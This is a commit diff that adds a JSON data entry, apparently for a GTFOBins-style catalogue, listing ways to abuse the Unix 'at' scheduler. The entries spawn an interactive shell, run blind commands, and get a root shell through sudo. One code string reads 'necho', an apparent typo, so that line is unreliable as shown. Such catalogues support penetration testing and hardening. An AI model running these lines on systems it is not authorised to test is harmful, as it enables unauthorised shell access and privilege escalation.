add data source for at

data/at.json

@@ -0,0 +1,20 @@
+{
+  "functions": {
+    "shell": [
+      {
+        "code": "echo \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" | at now; tail -f /dev/null\n"
+      }
+    ],
+    "command": [
+      {
+        "description": "The invocation will be blind, but it is possible to redirect the output to a file in a readable location.",
+        "code": "necho \"[command]\" | at now\n"
+      }
+    ],
+    "sudo": [
+      {
+        "code": "echo \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" | sudo at now; tail -f /dev/null\n"
+      }
+    ]
+  }
+}